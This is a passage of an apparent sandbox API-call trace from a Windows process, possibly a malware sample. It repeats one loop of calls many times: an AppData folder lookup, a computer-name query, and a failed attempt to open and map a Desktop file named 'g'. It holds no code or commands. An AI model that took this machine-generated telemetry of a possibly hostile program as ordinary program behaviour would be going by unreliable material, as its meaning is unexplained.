lpFileSizeHigh=0x0) returned 0xffffffff [0145.058] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.058] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.058] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.058] CloseHandle (hObject=0x0) returned 0 [0145.058] CloseHandle (hObject=0xffffffff) returned 1 [0145.058] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.058] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.058] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.058] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.058] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.058] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.058] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.058] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.059] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.059] CloseHandle (hObject=0x0) returned 0 [0145.059] CloseHandle (hObject=0xffffffff) returned 1 [0145.059] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.059] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.059] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.059] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.059] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.059] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.059] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.059] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.059] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.059] CloseHandle (hObject=0x0) returned 0 [0145.060] CloseHandle (hObject=0xffffffff) returned 1 [0145.060] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.060] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.060] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.060] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.060] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.060] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.060] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.060] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.060] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.060] CloseHandle (hObject=0x0) returned 0 [0145.060] CloseHandle (hObject=0xffffffff) returned 1 [0145.060] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.060] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.060] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.060] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.060] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.061] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.061] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.061] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.061] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.061] CloseHandle (hObject=0x0) returned 0 [0145.061] CloseHandle (hObject=0xffffffff) returned 1 [0145.061] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.061] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.061] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.061] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.061] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.061] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.061] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.061] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.061] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.061] CloseHandle (hObject=0x0) returned 0 [0145.061] CloseHandle (hObject=0xffffffff) returned 1 [0145.061] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.061] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.061] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.061] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.062] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.062] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.062] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.062] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.062] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.062] CloseHandle (hObject=0x0) returned 0 [0145.062] CloseHandle (hObject=0xffffffff) returned 1 [0145.062] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.062] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.062] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.062] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.062] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.062] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.062] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.062] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.062] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.062] CloseHandle (hObject=0x0) returned 0 [0145.062] CloseHandle (hObject=0xffffffff) returned 1 [0145.063] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.063] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.063] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.063] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.063] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.063] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.063] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.063] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.063] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.063] CloseHandle (hObject=0x0) returned 0 [0145.063] CloseHandle (hObject=0xffffffff) returned 1 [0145.063] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.063] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.063] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.063] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.063] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.063] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.063] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.063] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.064] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.064] CloseHandle (hObject=0x0) returned 0 [0145.064] CloseHandle (hObject=0xffffffff) returned 1 [0145.064] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.064] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.064] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.064] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.064] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.064] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.064] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.064] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.064] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.064] CloseHandle (hObject=0x0) returned 0 [0145.064] CloseHandle (hObject=0xffffffff) returned 1 [0145.064] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.064] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.064] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.064] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.064] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.065] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.065] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.065] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.065] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.065] CloseHandle (hObject=0x0) returned 0 [0145.065] CloseHandle (hObject=0xffffffff) returned 1 [0145.065] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.065] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.065] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.065] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.065] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.065] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.065] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.065] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.065] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.065] CloseHandle (hObject=0x0) returned 0 [0145.065] CloseHandle (hObject=0xffffffff) returned 1 [0145.065] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.065] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.065] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.065] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.066] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.066] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.066] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.066] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.066] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.066] CloseHandle (hObject=0x0) returned 0 [0145.066] CloseHandle (hObject=0xffffffff) returned 1 [0145.066] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.066] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.066] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.066] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.066] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.066] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.066] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.066] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.066] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.066] CloseHandle (hObject=0x0) returned 0 [0145.066] CloseHandle (hObject=0xffffffff) returned 1 [0145.066] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.067] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.067] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.067] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.067] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.067] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.067] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.067] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.067] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.067] CloseHandle (hObject=0x0) returned 0 [0145.067] CloseHandle (hObject=0xffffffff) returned 1 [0145.067] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.067] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.067] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.067] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.067] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.067] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.067] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.067] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.067] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.067] CloseHandle (hObject=0x0) returned 0 [0145.068] CloseHandle (hObject=0xffffffff) returned 1 [0145.068] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.068] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.068] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.068] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.068] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.068] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.068] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.068] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, 